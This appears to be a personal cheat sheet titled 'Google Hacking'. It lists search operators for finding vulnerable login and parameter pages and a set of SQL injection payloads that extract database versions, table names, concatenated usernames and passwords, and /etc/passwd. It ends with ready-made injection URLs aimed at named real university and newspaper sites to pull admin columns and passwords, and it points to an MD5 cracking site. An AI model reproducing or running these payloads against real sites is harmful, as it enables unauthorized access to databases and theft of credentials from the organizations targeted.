'''== GOOGLE HACKING ==
'''

basic:
+ include
- exclude
" exact "
. can be replaced by any charecter
site:
filetype *

advance:
inurl:view/index.shtml
inurl:login.asp
inurl:.php?id=
allurl:hacking cracking
intext:
allintext



sql injection:

union all select 1,2,@@version
if above 5
database()............name of database
1,2,table_name from information_schema.table limit 18,1
(16 tak default)

for no of table
union all select 1,2,count

where table_name=char(ascii value) and tabe_schema
(use hack bar)
passcracking.com md5-decrypter


1,2,concat(Uname,0x3a,UPassword) from tbl_users--

1,load_file('/etc/passwd'),3 ----pass file of user in server


asp

site: intext:login



acunatics





eg:
http://www.aiou.edu.pk/Programmes.asp?PID=243 and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='Admin'))--
http://www.aiou.edu.pk/Programmes.asp?PID=243%20and%201=convert%28int,%28select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=%27Admin%27%20and%20column_name%20not%20in%28%27AdminID%27%29%20%29%29--
http://www.aiou.edu.pk/Programmes.asp?PID=243%20and%201=convert%28int,%28select%20top%201%20AdminID%20from%20Admin%29%29--
http://www.aiou.edu.pk/Programmes.asp?PID=243%20and%201=convert%28int,%28select%20top%201%20pwd%20from%20Admin%29%29--



http://epaper.dnaindia.com/
http://epaper.dnaindia.com/transferpage.aspx?queryed=26%27%20and%201=convert%28int,%28select%20top%201%20table_name%20from%20information_schema.tables%29%29--